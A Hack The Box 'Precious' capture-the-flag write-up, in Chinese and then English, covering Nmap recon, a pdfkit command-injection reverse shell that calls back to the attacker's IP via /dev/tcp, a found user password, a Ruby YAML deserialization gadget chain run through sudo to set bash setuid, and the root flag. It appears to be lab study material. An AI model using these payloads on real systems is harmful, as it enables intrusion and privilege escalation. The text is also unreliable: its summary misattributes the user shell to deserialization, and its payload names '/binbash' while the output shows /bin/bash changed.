本文详细介绍了一个名为“Precious”的HTB(Hack The Box)挑战。在信息收集阶段,通过Nmap扫描发现了开放的SSH和HTTP端口。Vulnerability分析中,利用Burp Suite确认了Web服务器和Ruby环境。通过构造特定的Payload利用了Ruby中的不安全反序列化漏洞,从而获取了用户权限的Shell。接着,通过分析Ruby脚本,发现了另一个可利用的漏洞,最终实现了特权升级,获得了Root权限并成功读取了Root标志。文章总结了整个过程中的学习经验。 This article provides a detailed walkthrough of an HTB (Hack The Box) challenge named "Precious". During the information gathering phase, open SSH and HTTP ports were discovered via Nmap scanning. In the vulnerability analysis, Burp Suite was used to confirm the web server and Ruby environment. By crafting a specific payload, an insecure deserialization vulnerability in Ruby was exploited to obtain a user-privilege shell. Subsequently, by analyzing a Ruby script, another exploitable vulnerability was found, ultimately leading to privilege escalation, achieving root access, and successfully reading the root flag. The article summarizes the lessons learned throughout the entire process.

Information Gathering

# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds

Vulnerability Analysis

通过burpsuite我们得知web的Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15,X-Runtime: Ruby

在本地搭建网址环境

➜  Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

就可以得到一个文件

➜  Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number         : 13.36
File Name                       : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2025:12:31 07:31:33+00:00
File Access Date/Time           : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time     : 2025:12:31 07:31:59+00:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

发现ruby库使用的是pdfkit v0.8.6

Exploitation (User Flag)

根据搜索可知CVE-2022-25765

假设后端是

kit = PDFKit.new(url)
kit.to_file("output.pdf")

当使用PDFKit它实际上是在后台拼接了一串 Shell 命令,然后调用系统的 wkhtmltopdf 去执行任务。

wkhtmltopdf http://10.10.14.5/?name= `sleep 5` output.pdf

💡
shell看到``会优先执行里面的代码

所以构造payload

http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`

输入到网站即可获取shell

在主目录/home/ruby/.bundle/config中寻找到henry:Q3c1AqGHtoI0aXAYFH

Privilege Escalation (Root Flag)

henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
	2: from /opt/update_dependencies.rb:17:in `<main>'
	1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

可以看到运行此程序会在当前目录下检查是否含有dependencies.yml文件

致命漏洞:YAML.load,在 Ruby 中,YAML.load 是不安全的。它不仅仅是“读取文本数据”,它会实例化 YAML 数据中描述的任何 Ruby 类/对象。

攻击原理:

  1. 如果你在 dependencies.yml 中构造了一个特殊的 Ruby 对象结构(这就叫“序列化数据”)。
  2. 当脚本运行到 YAML.load 时,它会尝试在内存中把这个对象“复活”(反序列化)。
  3. 在这个“复活”的过程中,如果对象里包含某些特定的链式调用(Gadget Chain),Ruby 就会被迫执行系统命令。

通过此文章得到如何构造这个yaml

henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

所以使用

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:      # 伪装成Gem依赖需求
    !ruby/object:Gem::Package::TarReader # 让TarReader 以为自己在读一个压缩包
    io: &1 !ruby/object:Net::BufferedIO  # 核心触发器
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter  # BufferedIO的特性debug_output,调试信息打印出来
         socket: &1 !ruby/object:Gem::RequestSet  # 告诉ruby,要打印调试信息,就调用socket
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'  # 告诉ruby,socket对象其实是Kernel
                 method_id: :system # 告诉ruby,调用的方法名:system
             git_set: id   # 执行的命令
         method_id: :resolve 

payload

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /binbash
         method_id: :resolve 
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	....
	.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801

 

Lessons Learned

Information Gathering

# Nmap 7.98 scan initiated Wed Dec 31 07:15:30 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Uptime guess: 31.799 days (since Sat Nov 29 12:04:56 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 31 07:15:45 2025 -- 1 IP address (1 host up) scanned in 14.69 seconds

Vulnerability Analysis

Through burpsuite, we learned that the web server is: nginx/1.18.0 + Phusion Passenger(R) 6.0.15, X-Runtime: Ruby

Set up the local website environment

➜  Precious www
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.189 - - [31/Dec/2025 07:31:32] "GET / HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

Then we can get a file

➜  Precious exiftool 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
ExifTool Version Number         : 13.36
File Name                       : 2a4j9rpsza3l5v889p6wadg649q4qdzk.pdf
Directory                       : .
File Size                       : 18 kB
File Modification Date/Time     : 2025:12:31 07:31:33+00:00
File Access Date/Time           : 2025:12:31 07:31:34+00:00
File Inode Change Date/Time     : 2025:12:31 07:31:59+00:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Discovered that the Ruby library used is pdfkit v0.8.6

Exploitation (User Flag)

According to searches, we know CVE-2022-25765

Assuming the backend is

kit = PDFKit.new(url)
kit.to_file("output.pdf")

When using PDFKit, it actually concatenates a series of shell commands in the background and then calls the system's wkhtmltopdf to execute the task.

wkhtmltopdf http://10.10.16.3/?name= `sleep 5` output.pdf

💡
The shell sees `` and prioritizes executing the code inside.

So construct the payload

http://10.10.16.3/?name= `bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'`

Input it into the website to get a shell

In the home directory /home/ruby/.bundle/config, we found henry:Q3c1AqGHtoI0aXAYFH

Privilege Escalation (Root Flag)

henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
	2: from /opt/update_dependencies.rb:17:in `<main>'
	1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

It can be seen that running this program checks if the current directory contains the dependencies.yml file

Critical vulnerability: YAML.load, in Ruby, YAML.load is insecure. It not only 'reads text data', but it also instantiates any Ruby class/object described in the YAML data.

Attack principle:

  1. If you construct a special Ruby object structure in dependencies.yml (this is called 'serialized data').
  2. When the script runs to YAML.load, it tries to 'resurrect' this object in memory (deserialization).
  3. During this 'resurrection' process, if the object contains certain specific chained calls (Gadget Chain), Ruby will be forced to execute system commands.

Through this article, learn how to construct this yaml

henry@precious:/tmp$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

So use

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:      # Disguised as Gem dependency requirements
    !ruby/object:Gem::Package::TarReader # Let TarReader think it is reading a compressed package
    io: &1 !ruby/object:Net::BufferedIO  # Core trigger
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter  # BufferedIO's feature debug_output, debug information is printed out
         socket: &1 !ruby/object:Gem::RequestSet  # Tell Ruby, to print debug information, call socket
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'  # Tell Ruby, the socket object is actually Kernel
                 method_id: :system # Tell Ruby, the method name to call: system
             git_set: id   # Command to execute
         method_id: :resolve 

payload

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /binbash
         method_id: :resolve 
henry@precious:/tmp$ nano dependencies.yml
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	....
	.....
henry@precious:/tmp$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1# cat /root/root.txt
5554b7e3cfe48a17bd1410159017f801

 

Lessons Learned